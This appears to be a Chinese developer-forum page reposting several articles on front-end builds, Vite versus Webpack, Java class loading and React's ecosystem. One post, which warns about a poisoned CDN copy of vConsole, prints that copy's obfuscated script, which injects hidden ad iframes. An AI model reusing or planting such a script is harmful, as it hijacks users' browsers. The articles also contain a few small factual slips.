注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

环信FAQ

环信FAQ

集成常见问题及答案
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

前端打包版本号自增

web
1.新建sysInfo.json文件 { "version": "20240307@1.0.1" } 2.新建addVersion.js文件,打包时执行,将版本号写入sysInfo.json文件 //npm run build打包前执行此段代码 let f...
继续阅读 »

1.新建sysInfo.json文件


{
"version": "20240307@1.0.1"
}

2.新建addVersion.js文件,打包时执行,将版本号写入sysInfo.json文件


//npm run build打包前执行此段代码
let fs = require('fs')

//返回package的json数据
function getPackageJson() {
let data = fs.readFileSync('./src/assets/json/sysInfo.json') //fs读取文件
return JSON.parse(data) //转换为json对象
}

let packageData = getPackageJson() //获取package的json
let arr = packageData.version.split('@') //切割后的版本号数组
let date = new Date()
const year = date.getFullYear()
let month = date.getMonth() + 1
let day = date.getDate()
month = month > 9 ? month : '0' + month
day = day < 10 ? '0' + day : day
let today = `${year}${month}${day}`
let verarr = arr[1].split('.')
verarr[2] = parseInt(verarr[2]) + 1
packageData.version = today + '@' + verarr.join('.') //转换为以"."分割的字符串
//用packageData覆盖package.json内容
fs.writeFile('./src/assets/json/sysInfo.json', JSON.stringify(packageData, null, '\t'), err => {
console.log(err)
})


3.package.json中配置


  "scripts": {
"dev": "vite",
"serve": "vite",
"build": "node ./src/addVersion.js && vite build",
....

4.使用


import sysInfo from '@/assets/json/sysInfo.json'

作者:点赞侠01
来源:juejin.cn/post/7343811223207624745
收起阅读 »

面试常问:为什么 Vite 速度比 Webpack 快?

web
 前言 最近作者在学习 webpack 相关的知识,之前一直对这个问题不是特别了解,甚至讲不出个123....,这个问题在面试中也是常见的,作者在学习的过程当中总结了以下几点,在这里分享给大家看一下,当然最重要的是要理解,这样回答的时候就不用死记硬背了。 原因...
继续阅读 »

 前言


最近作者在学习 webpack 相关的知识,之前一直对这个问题不是特别了解,甚至讲不出个123....,这个问题在面试中也是常见的,作者在学习的过程当中总结了以下几点,在这里分享给大家看一下,当然最重要的是要理解,这样回答的时候就不用死记硬背了。


原因


1、开发模式的差异


在开发环境中,Webpack 是先打包再启动开发服务器,而 Vite 则是直接启动,然后再按需编译依赖文件。(大家可以启动项目后检查源码 Sources 那里看到)


这意味着,当使用 Webpack 时,所有的模块都需要在开发前进行打包,这会增加启动时间和构建时间。


Vite 则采用了不同的策略,它会在请求模块时再进行实时编译,这种按需动态编译的模式极大地缩短了编译时间,特别是在大型项目中,文件数量众多,Vite 的优势更为明显。


Webpack启动



Vite启动



2、对ES Modules的支持


现代浏览器本身就支持 ES Modules,会主动发起请求去获取所需文件。Vite充分利用了这一点,将开发环境下的模块文件直接作为浏览器要执行的文件,而不是像 Webpack 那样先打包,再交给浏览器执行。这种方式减少了中间环节,提高了效率。


什么是ES Modules?


通过使用 exportimport 语句,ES Modules 允许在浏览器端导入和导出模块。


当使用 ES Modules 进行开发时,开发者实际上是在构建一个依赖关系图,不同依赖项之间通过导入语句进行关联。


主流浏览器(除IE外)均支持ES Modules,并且可以通过在 script 标签中设置 type="module"来加载模块。默认情况下,模块会延迟加载,执行时机在文档解析之后,触发DOMContentLoaded事件前。



3、底层语言的差异


Webpack 是基于 Node.js 构建的,而 Vite 则是基于 esbuild 进行预构建依赖。esbuild 是采用 Go 语言编写的,Go 语言是纳秒级别的,而 Node.js 是毫秒级别的。因此,Vite 在打包速度上相比Webpack 有 10-100 倍的提升。


什么是预构建依赖?


预构建依赖通常指的是在项目启动或构建之前,对项目中所需的依赖项进行预先的处理或构建。这样做的好处在于,当项目实际运行时,可以直接使用这些已经预构建好的依赖,而无需再进行实时的编译或构建,从而提高了应用程序的运行速度和效率。


4、热更新的处理


在 Webpack 中,当一个模块或其依赖的模块内容改变时,需要重新编译这些模块。


而在 Vite 中,当某个模块内容改变时,只需要让浏览器重新请求该模块即可,这大大减少了热更新的时间。


总结


总的来说,Vite 之所以比 Webpack 快,主要是因为它采用了不同的开发模式充分利用了现代浏览器的 ES Modules 支持使用了更高效的底层语言并优化了热更新的处理。这些特点使得 Vite在大型项目中具有显著的优势,能够快速启动和构建,提高开发效率。



作者:JacksonChen
来源:juejin.cn/post/7344916114204049445
收起阅读 »

面试官问我:自己写String类,包名也是java.lang,这个类能编译成功吗,能运行成功吗

之前某次面试,我说自己对Java比较熟,面试官问了我一个问题:假设你自己写一个String类,包名也是java.lang,代码里使用String的时候,这个String类能编译成功吗?能运行成功吗? 好了,我当时又是一脸懵逼o((⊙﹏⊙))o,因为我只是看了...
继续阅读 »

之前某次面试,我说自己对Java比较熟,面试官问了我一个问题:假设你自己写一个String类,包名也是java.lang,代码里使用String的时候,这个String类能编译成功吗?能运行成功吗?



好了,我当时又是一脸懵逼o((⊙﹏⊙))o,因为我只是看了些Java的面试题目,而且并没有涉及类加载方面的内容(ps:我是怎么敢说我对Java比较熟的)。


结论


先说结论:
能编译成功,但是运行会报错。因为加载String的时候根据双亲委派机制会默认加载jdk里的String。



  • 在自己写的String类中写main方法并运行,会报错找不到main方法。


public class String {
public int print(int a) {
int b = a;
return b;
}
public static void main(String[] args) {
new String().print(1);
}
}

上述代码运行报错如下:


错误: 在类 java.lang.String 中找不到 main 方法, 请将 main 方法定义为:
public static void main(String[] args)
否则 JavaFX 应用程序类必须扩展javafx.application.Application


  • 如果在其他类中尝试调用这个String类的方法,也调用不到,实际的结果是调用jdk中的String类的方法。


题目分析


这里涉及3个知识点:



  • Java代码的编译过程

  • Java代码的运行过程

  • 类加载器(详见文章:JVM:类加载器


image.png


以上3个内容基本上是涉及代码运行的整个流程了。接下来就结合实战操作一步步分析具体的过程。


Java代码的编译过程


平时我都是通过IDEA直接运行代码,都没注意过编译的过程。所以结合平时的操作说明一下编译的过程。


什么是Java的编译


Java的编译过程,是将.java源文件转换为.class字节码文件的过程。


如何将.java源文件编译成.class字节码文件



  1. IDEA工具中,点击BUILD按钮
    image.png

  2. 执行命令javac xx.java


如何查看字节码文件



  1. 如果我们直接用文本工具打开字节码文件,将会看到以下内容:


    image.png
    这是因为Class文件内部本质上是二进制的,用不同的工具打开看,展示的效果不一样。下图是用xx工具打开的class文件,展示的是十六进制格式,其实可以自己一点点翻译出来源码了。(class文件的这个二进制串,计算机是不能够直接读取并且执行的。也就是说,计算机看不懂,而我们的JVM解决了这个问题,JVM可以看作是一个翻译官,它可以看懂,而且它也知道计算机想要什么样子的二进制,所以它可以把Class文件的二进制翻译成计算机需要的样子)


    image.png


  2. 我们可以通过命令的方式将class文件反汇编成汇编代码。


    javap是JDK自带的反汇编器,可以查看java编译器为我们生成的字节码。


    javap -v xx.classjavap -c -l xx.class



字节码文件中包含哪些内容


这个有很多文章说了,可以自己搜索一下,也可以看我总结的文章:xxx(还没写)。


Java代码的运行过程


java类运行的过程大概可分为两个过程:1)类的加载;2)类的执行


需要说明的是:JVM主要在程序第一次主动使用类的时候,才会去加载该类。也就是说,JVM并不是在一开始就把一个程序就所有的类都加载到内存中,而是到不得不用的时候才把它加载进来,而且只加载一次。


类加载过程


Class文件需要加载到虚拟机中之后才能运行和使用。系统加载Class文件主要有3步:加载->连接->初始化。连接过程又可分为3步:验证->准备->解析


image.png
(图源:javaguide.cn


加载


类加载过程的第一步,主要完成3件事情:



  • 通过全类名获取定义此类的二进制字节流。

  • 将字节流所代表的静态存储结构转换为方法区的运行时数据结构

  • 在内存中生成一个代表该类的Class对象,作为方法区这些数据的访问入口。


加载这一步的操作主要是通过类加载器完成的。类加载器详情可参考文章:xxx。


每个Java类都有一个引用指向加载它的ClassLoader。不过数组类不是通过ClassLoader创建的,而是JVM在需要的时候自动创建的,数组类通过getClassLoader方法获取ClassLoader的时候和该数组的元素类型的ClassLoader是一致的。


一个非数组类的加载阶段(加载阶段获取类的二进制字节流的动作)是可控性最强的阶段,这一步我们可以去完成还可以自定义类加载器去控制字节流的获取方式(重写一个类加载器的loadClass()方法)。


加载阶段与连接阶段的部分动作(如一部分字节码文件格式验证动作)是交叉进行的,加载阶段尚未结束,连接阶段可能就已经开始了。


连接


验证


验证是连接阶段的第一步,这步的目的是为了保证Class文件的字节流中包含的信息符合《Java虚拟机规范》的全部约束要求,保证这些信息被当做代码运行后不会危害虚拟机的安全。


验证阶段所要耗费的资源相对还是多的,但验证阶段也不是必要的。如果程序运行的全部代码已经被反复使用和验证过,那在生产环境的实施阶段可以考虑使用-Xverify:none参数来关闭大部分的类验证措施,以缩短虚拟机类加载的时间。


验证阶段主要由4个检验阶段组成:



  • 文件格式验证。要验证字节流是否符合Class文件格式的规范,并且能被当前版本的虚拟机处理。比如以下验证点:



    • 是否以魔数CAFEBABE开头

    • 主、次版本号是否在当前Java虚拟机接收范围内

    • 常量池的常量是否有不被支持的常量类型

    • 。。。


    该阶段验证的主要目的是保证输入的字节流能够被正确地解析并存储于方法区。只有通过了这个阶段的验证之后,这段字节流才被允许进入Java虚拟机内存的方法区中存储。后面3个阶段的验证是在方法区的存储信息上进行的,不会再直接读取和操作字节流了。


  • 元数据验证。对字节码描述的信息进行语义分析,保证其描述的信息符合《Java语言规范》的要求。这个阶段可能包括的验证点如下:



    • 这个类是否有父类(除了Object类之外,所有的类都应该有父类)

    • 这个类or其父类是否继承了不允许继承的类(比如final修饰的类)

    • 如果这个类不是抽象类,是否实现了其父类或接口之中要求实现的所有方法。



  • 字节码验证。是整个验证过程中最复杂的,主要目的是通过分析字节码,判断字节码能否被正确执行。比如会验证以下内容:



    • 在字节码的执行过程中,是否会跳转到一条不存在的指令

    • 函数的调用是否传递了正确类型的参数

    • 变量的赋值是不是给了正确的数据类型

    • 。。。


    如果一个方法体通过了字节码验证,也仍然不能保证它一定是安全的。


  • 符号引用验证。该动作发生在虚拟机将符号引用转化为直接引用的时候,这个转化动作将在连接的第三阶段--解析阶段中发生(所以说符号引用验证是在解析阶段发生???)。


    符号引用验证的主要目的是确保解析行为能正常执行


    符号引用验证简单来说就是验证当前类是否缺少或者被禁止访问它依赖的外部类、方法、变量等资源。该阶段通常要校验以下内容:



    • 符号引用中通过字符串描述的全限定名是否能找到对应的类。

    • 在指定类中是否存在符合方法的字段描述符及简单名称所描述的方法和字段。(没太明白什么意思)

    • 符号引用中的类、变量、方法是否可被当前类访问。


    如果无法通过符号引用验证,Java 虚拟机将会抛出一个 java.lang.IncompatibleClassChangeError 的子类异常,典型的如:



    • java.lang.IllegalAccessError

    • java.lang.NoSuchFieldError

    • java.lang.NoSuchMethodError等。




准备


准备阶段是正式为类中的静态变量分配内存并设置类变量初始化值的阶段。从概念上来说,这些变量所使用的内存都应当在方法区中分配,但方法区本身是一个逻辑概念。在JDK7及以前,HotSpot使用永久代来实现方法区。在JDK8及以后,类变量会随着Class对象一起放入Java堆中(也是叫做方法区的概念?)


注意点:



  • 准备阶段仅为类变量分配内存并初始化。实例变量会在对象实例化时随着对象一起分配在堆内存中。

  • 非final修饰的类变量,在初始化之后,是赋值为0,而不是程序中的赋值。比如:
    public static int value = 123; 

    初始化之后的值是0,而不是10。因为这时候程序还未运行。把 value 赋值为 123 的 putstatic 指令是程序被编译后,存放于类构造器() 方法之中,所以把 value 赋值为 123 的动作要到类的初始化阶段才会被执行。

  • final修饰的类变量,初始化之后会赋值为代码中的值。因为:如果类字段被 final 修饰,那么类阻断的属性表中存在 ConstantValue 属性,那在准备阶段变量值就会被初始化为ConstantValue 属性所指定的初始值,假设上面类变量 value 的定义修改为 123 ,而不是 "零值"


解析


解析阶段是将符号引用转化为直接引用的过程。也就是得到类或者字段、方法在内存中的指针或者偏移量。



  • 符号引用(Symbolic References):用一组字符串来表示所引用的目标,符号可以是任何形式的字面量,只要使用时能无歧义地定位到目标即可。

  • 直接引用(Direct Reference)是可以直接指向目标的指针,相对偏移量、或者可以间接定位到目标的句柄?直接引用是和虚拟机实现的内存布局直接相关的,同一个符号引用在不同虚拟机实例上翻译出来的直接引用一般不会相同。如果有了直接引用,那引用的目标必定已经在虚拟机的内存中存在。


初始化


初始化阶段是执行初始化方法 <clinit> ()方法的过程,是类加载的最后一步,这一步 JVM 才开始真正执行类中定义的 Java 程序代码(字节码)。



说明:<clinit> ()方法是编译之后自动生成的。



对于初始化阶段,虚拟机严格规范了有且只有 6 种情况下,必须对类进行初始化(只有主动去使用类才会初始化类):



  1. 当遇到 newgetstaticputstaticinvokestatic 这 4 条字节码指令时,比如 new 一个类,读取一个静态字段(未被 final 修饰)、或调用一个类的静态方法时。



    • 当 jvm 执行 new 指令时会初始化类。即当程序创建一个类的实例对象。

    • 当 jvm 执行 getstatic 指令时会初始化类。即程序访问类的静态变量(不是静态常量,常量会被加载到运行时常量池)。

    • 当 jvm 执行 putstatic 指令时会初始化类。即程序给类的静态变量赋值。

    • 当 jvm 执行 invokestatic 指令时会初始化类。即程序调用类的静态方法。



  2. 使用 java.lang.reflect 包的方法对类进行反射调用时如 Class.forname("..."), newInstance() 等等。如果类没初始化,需要触发其初始化。

  3. 初始化一个类,如果其父类还未初始化,则先触发该父类的初始化。

  4. 当虚拟机启动时,用户需要定义一个要执行的主类 (包含 main 方法的那个类),虚拟机会先初始化这个类。

  5. MethodHandleVarHandle 可以看作是轻量级的反射调用机制,而要想使用这 2 个调用,

    就必须先使用findStaticVarHandle 来初始化要调用的类。

  6. 当一个接口中定义了 JDK8 新加入的默认方法(default)  ,那么实现该接口的类需要提前初始化。


代码运行过程:案例


针对下面这段代码进行讲解。


//MainApp.java  
pblic class MainApp {
public static void main(String[] args) {
Animal animal = new Animal("Puppy");
animal.printName();
}
}
//Animal.java
public class Animal {
public String name;
public Animal(String name) {
this.name = name;
}
public void printName() {
System.out.println("Animal ["+name+"]");
}
}


  1. MainApp类加载:编译得到MainApp.class文件后,在命令行上敲java AppMain。系统就会启动一个jvm进程,jvm进程从classpath路径中找到一个名为AppMain.class的二进制文件,将MainApp的类信息加载到运行时数据区的方法区内,这个过程叫做MainApp类的加载。

  2. 然后JVM找到AppMain的主函数入口,开始执行main函数。

  3. Animal类加载:main函数的第一条命令是Animal animal = new Animal("Puppy");就是让JVM创建一个Animal对象,但是这时候方法区中没有Animal类的信息,所以JVM马上加载Animal类,把Animal类的类型信息放到方法区中。

  4. 加载完Animal类之后,Java虚拟机做的第一件事情就是在堆区中为一个新的Animal实例分配内存, 然后调用构造函数初始化Animal实例,这个Animal实例持有着指向方法区的Animal类的类型信息(其中包含有方法表,java动态绑定的底层实现)的引用。

  5. 当使用animal.printName()的时候,JVM根据animal引用找到Animal对象,然后根据Animal对象持有的引用定位到方法区中Animal类的类型信息的方法表,获得printName()函数的字节码的地址。

  6. 开始运行printName()函数。



参考文章





作者:ET
来源:juejin.cn/post/7343441462644195362
收起阅读 »

11岁的React正迎来自己口碑的拐点

web
凌晨2点,Dan仍坐在电脑桌前,表情严肃。 作为React社区最知名的布道者,此时正遭遇一场不小的变故 —— 他拥有38w粉丝的推特账号被影子封禁了。 所谓影子封禁,是指粉丝无法在流中刷到被封禁者的任何推文,只能点进被封禁者的账号才能看到新推文 在RSC...
继续阅读 »

凌晨2点,Dan仍坐在电脑桌前,表情严肃。


作为React社区最知名的布道者,此时正遭遇一场不小的变故 —— 他拥有38w粉丝的推特账号被影子封禁了。



所谓影子封禁,是指粉丝无法在流中刷到被封禁者的任何推文,只能点进被封禁者的账号才能看到新推文




RSC(React Server Component)特性发布后,Dan经常用这个账号科普各种RSC知识。这次封禁,显然对他的布道事业造成不小打击,不得已只能启用新账号。


虽然新账号粉丝不多,但值得宽慰的是 —— 这篇题为The Two ReactsRSC布道文数据还不错。



这篇文章通过解释世界上存在2个React



  • 在客户端运行的React,遵循UI = f(state),其中state是状态,是可变的

  • 在服务端运行的React,遵循UI = f(data),其中data是数据源,是不变的


来论证RSC的必要性(他为服务端运行的React提供了底层技术支持)。


安静的夜总是让人思绪良多,Dan合上MacBook Pro,回想起当年参加行业会议,在会议开始前一周才实现演讲所需的Demo(也就是Redux的雏形)。也正是以这次参会为契机,他才得以加入Meta伦敦,进入React核心团队


随后,Dan又回想起在React Conf 2018介绍Hook特性时,台下观众惊喜的欢呼。



想到这里,不禁又感叹 —— 曾经并肩战斗的战友们都已各奔东西。


Redux的联合作者Andrew Clark离开了(入职Vercel),Hook的作者sebastian markbåge也离开了(入职Vercel),连自己最终也离开了(入职bluesky)。


虽然React仍是前端领域最热门的框架,但一些微妙的东西似乎在慢慢变化,是什么变了呢?


React正迎来自己口碑的拐点


作为一款11岁高龄的前端框架,React正迎来自己口碑的拐点。


近期,有多名包括知名库作者、React18工作组成员在内的社区核心用户公开表达了对React的批评,比如:



有人会说,React从诞生伊始至今从不乏批评的声音,有什么大惊小怪的?


这其中的区别其实非常大。从React诞生伊始至今,批评通常是开发者与React核心团队的理念之争,比如:



  • JSX到底好不好用?这是理念之争

  • Class Component还是Function Component?这是理念之争

  • 要不要使用Signal技术?这还是理念之争


虽然开源项目都很重视开发者的反馈,但React已经不能算是普通开源项目,而是一个庞大的技术生态。


在这个生态中,开发者的不满实际上并不会动摇React的基本盘。因为决定开发者是否在项目中使用React的,并不是开发者自身好恶,而是公司考量技术生态后作出的自上而下的选择。


所以,React的基本盘是技术生态(而非开发者)。而构成技术生态的,则是生态中大大小小的开源作者/开源团队。


这一轮对React的批评,多是核心技术生态的参与者发出的,他们才是支撑React大厦的一根根柱子。


批评的主要原因是 —— React团队React的发展与一家商业公司(Vercel)牢牢绑定。


这对于React核心团队成员来说,是从大厂到独角兽的个人职场跃迁。但对广大React技术生态的开源作者/开源团队来说,则是被动与一家商业公司(Vercel)绑定。


举个例子,RSC中有个叫Server Actions的特性,用于简化在服务端处理前端交互的流程。Vercel是一家云服务公司,旗下的Next.js支持Server Actions可以完美契合自家Serverless服务的场景。


但其他开源项目可能并不会从这个特性中受益。


再比如,React Bricks的作者曾抱怨 —— 虽然表面上看,React可以与Vite结合,可以与React Router结合(也就是Remix的前身),一切都是自由的选择。但上层的服务商表示:如果React Bricks不能支持Next.js,就不会再使用他。


换句话说,React在逐渐将自己的技术生态迁移到Next.js,而技术生态是公司技术选型的首要考虑因素。如果开源库不主动融入Next生态,公司在做技术选型时可能就不会考虑这个库。


迫于市场的考量,会有很多原React生态下的库迁移到Next生态,即使这么做并非库作者意愿(毕竟Next.js的背后是一家商业公司)。


框架作者的反抗


如果说一般的开源库只能被动选择是否追随Next生态,那还有一类开源库选择与Next.js正面对抗,这就是Meta Framework(元框架)。


所谓元框架,是指基于前端框架封装的功能更全的上层框架,比如:



  • 框架Vue,元框架Nuxt.js

  • 框架React,元框架RemixNext.js

  • 框架Solid.js,元框架SolidStart

  • 框架Svelte,元框架SvelteKit


还有些框架本身就是元框架,比如AngularAstro


NPM年下载量看,Next.js对这些竞品基本呈碾压之势(下表绿色是Next):



造成当前局面有多少是因为Next.js相比其他元框架表现更出色我们不得而知,但有一点可以肯定 —— React生态Next生态的迁徙对形成当前局面一定贡献了不少。


参考下图,黄色(React年下载量)对绿色(Next年下载量)的提携:



元框架的竞争已经逐渐白热化,现在甚至出现了生成元框架的框架 —— vinxi


你可以选择框架(ReactVueSolid...),再选择应用场景(客户端、SSRSSG...)以及一些个性化配置,vinxi会为你生成一个独属于你的元框架。


顺便一提,SolidStart就是基于vinxi构建的。


后记


React将技术生态向Next迁移的不满在社区已经酝酿已久,并在近期迎来了爆发。长久来看,这种不满必将影响React的根基 —— 技术生态。


但从上帝视角来看,没有人是真正在意React的:



  • 开发者只在意是否能稳定、高效完成工作

  • 开源作者只在意技术生态市场是否够大(不能被少数公司垄断)

  • React核心团队成员在意的是自己的职业前景

  • 元框架作者在意的是从Next无法顾及的细分场景切一块蛋糕


React就像一个被开采了11年的金矿,开采的各方都有所抱怨,同时又不停下手中挥舞的铁镐。


React将技术生态逐渐迁移到Next生态后,React的身影将只存在于一些细节中,比如:



  • Hook的执行顺序不能变

  • 严格模式下组件会render两次

  • 相比其他框架更低的性能


作为一家商业公司,未来Vercel会不会为了市场考量逐渐优化这些特性(比如引入Signal)?


如果说React未来一定会消失,那他的死必不会像烟花那样猝不及防而又灿烂(就像谷歌宣布研发Angular2后,Angular1在关注度最高时迎来了他的死亡)。


更可能的情况是像忒修斯之船一样,在航行的过程中不断更换老旧的木条,最终在悄无声息中逐渐消失......


作者:魔术师卡颂
来源:juejin.cn/post/7340926094614511626
收起阅读 »

慎重!第三方依赖包里居然有投毒代码

web
本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。 起因 生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户...
继续阅读 »

本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。


起因


生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户都会遇到,只是极个别的用户会遇到。


查找问题


下面是排查此问题时的步骤:



  1. review代码,代码逻辑没问题。

  2. 分析反馈问题的用户画像,发现他们都是分布在不同省域下面的,不是发生在同一个地区,完全没有规律可循。

  3. 偶然间,发现有一段代码逻辑有问题,就是移动端调试工具库vConsole这个悬浮图标,代码逻辑是只有在生产环境才显示,其它环境不显示。至于为啥在生产环境上把调试工具展示出来的问题,不是本文的重点~,这里就不多赘述了,正常来说vConsole的悬浮图标这东西也不会影响用户操作,没怎么在意。

  4. 然而最不在意的内容,往往才是导致问题的关键要素。

  5. 发现vConsole不是通过安装依赖包的方式加载的,而是在index.html页面用script标签引入的,而且引用的地址还是外部开源的第三方cdn的地址,不是公司内部cdn的地址。

  6. 于是开始针对这个地址进行排查,在一系列令绝大部分掘友目瞪口呆的操作下,终于定位到问题了。这个开源的cdn地址提供的vConsole源代码有问题,里面注入了一段跟vConsole代码不相关的恶意脚本代码。



有意思的是,这段恶意脚本代码不会一直存在。同样一个地址,原页面刷新后,里面的恶意脚本代码就会消失。



感兴趣的掘友可以在自己电脑上是试一试。vConsole地址
注意,如果在PC端下载此代码,要先把模拟手机模式打开再下载,不然下载的源码里不会有这个恶意脚本代码。


下面的截图是我在pc端浏览器上模拟手机模式,获取到的vConsole源码,我用红框圈住的就是恶意代码,它在vConsole源码文件最下方注入了一段恶意代码(广告相关的代码)。


image.png


这些恶意代码都是经过加密的,把变量都加密成了十六进制的格式,仅有七十多行,有兴趣的掘友可以把代码拷贝到自己本地,尝试执行一下。


全部代码如下:


var _0x30f682 = _0x2e91;
(function(_0x3a24cc, _0x4f1e43) {
var _0x2f04e2 = _0x2e91
, _0x52ac4 = _0x3a24cc();
while (!![]) {
try {
var _0x5e3cb2 = parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);
if (_0x5e3cb2 === _0x4f1e43)
break;
else
_0x52ac4['push'](_0x52ac4['shift']());
} catch (_0x4e013c) {
_0x52ac4['push'](_0x52ac4['shift']());
}
}
}(_0xabf8, 0x5b7f0));

var __encode = _0x30f682(0xd5)
, _a = {}
, _0xb483 = [_0x30f682(0xb5), _0x30f682(0xbf)];

(function(_0x352778) {
_0x352778[_0xb483[0x0]] = _0xb483[0x1];
}(_a));

var __Ox10e985 = [_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '删除', _0x30f682(0xd0), '期弹窗,', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];

function _0x2e91(_0x594697, _0x52ccab) {
var _0xabf83b = _0xabf8();
return _0x2e91 = function(_0x2e910a, _0x2d0904) {
_0x2e910a = _0x2e910a - 0xb3;
var _0x5e433b = _0xabf83b[_0x2e910a];
return _0x5e433b;
}
,
_0x2e91(_0x594697, _0x52ccab);
}

window[__Ox10e985[0x0]] = function() {
var _0x48ab79 = document[__Ox10e985[0x2]](__Ox10e985[0x1]);
_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]] = __Ox10e985[0xb],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0xd]] = __Ox10e985[0xe],
_0x48ab79[__Ox10e985[0xf]] = __Ox10e985[0x10],
document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
}
,
function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
_0x385013 = __Ox10e985[0x13],
_0x49aa51 = function(_0x2c78b5) {
typeof alert !== _0x385013 && alert(_0x2c78b5);
;typeof console !== _0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);
}
,
_0x10b59e = function(_0x42b8c7, _0x977cd7) {
return _0x42b8c7 + _0x977cd7;
}
,
_0x2cab55 = _0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));
try {
_0x2492c5 = __encode,
!(typeof _0x2492c5 !== _0x385013 && _0x2492c5 === _0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);
} catch (_0x57c008) {
_0x49aa51(_0x2cab55);
}
}({});

function _0xabf8() {
var _0x503a60 = ['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '还请支持我们的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本号,js会定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];
_0xabf8 = function() {
return _0x503a60;
}
;
return _0xabf8();
}

我在自己电脑上把这段代码执行了一下,其实在页面上用户是无感的,因为创建的标签都是隐藏起来的,只有打开调试工具才能看出来。


打开浏览器调试工具,查看页面dom元素:


2024-03-08 17.38.16.gif


image.png


打开调试工具的网络请求那一栏,发送无数个请求,甚至还有几个socket链接...:


2024-03-08 17.41.20.gif


这就是为什么微信支付会把页面毙掉的原因了,页面只要加载了这段代码,就会执行下面这个逻辑:



  1. 页面加载后,代码自动执行,在页面中创建一个iframe标签,然后把https://www.unionadjs.com/sdk.html地址放进去。

  2. 随后在iframe标签中会无限制地创建div标签(直到你的浏览器崩溃!)。

  3. 每个div标签中又会创建一个iframe标签,而src会被分配随机的域名,有的已经打不开了,有的还可以打开,其实就是一些六合彩和一些有关那啥的网站(懂的都懂~)。


强大的ChatGPT


在这里不得不感叹ChatGPT的强大(模型训练的好),我把这段加密的代码直接输入进去,它给我翻译出来了,虽然具体逻辑没有翻译出来,但已经很好了。


image.png


下面这个是中文版的:


image.png


总结


下面是我对这次问题的一个总结:



  1. 免费的不一定是最便宜的,也有可能是最贵的。

  2. 公司有自己的cdn依赖库就用公司内部的,或者去官网去下载对应的依赖,开源的第三方cdn上的内容慎重使用。

  3. 技术没有对和错,要看使用它的是什么人。


本次分享就到这里了,有描述的不对的地方欢迎掘友们纠正~


作者:娜个小部呀
来源:juejin.cn/post/7343691521601781760
收起阅读 »

如何打破Chrome的最小字号限制

web
前言 正常开发中,比如设置最小字体为12以下,会出现不生效的情况。原因是因为谷歌浏览器有最小字体的限制,那么如何解决这个问题呢? 本文主要说明两个方式: 调整谷歌浏览器的默认限制字体大小 使用css的transform属性进行缩放 chrome 118版...
继续阅读 »

前言


正常开发中,比如设置最小字体为12以下,会出现不生效的情况。原因是因为谷歌浏览器有最小字体的限制,那么如何解决这个问题呢?


本文主要说明两个方式:



  1. 调整谷歌浏览器的默认限制字体大小

  2. 使用css的transform属性进行缩放



chrome 118版本后已经字体大小最小限制默认关闭了,直接支持小于12px的字体大小



1. 调整谷歌浏览器默认字体限制


要打破Chrome的最小字号限制,按照以下步骤进行操作:



  1. 打开Chrome浏览器。

  2. 找到并点击浏览器右上角的三个点图标,打开菜单。

  3. 在菜单中选择“设置”选项。

  4. 在设置页面中,向下滚动并找到“外观”部分。

  5. 在“外观”部分中,找到“自定义字体”选项。

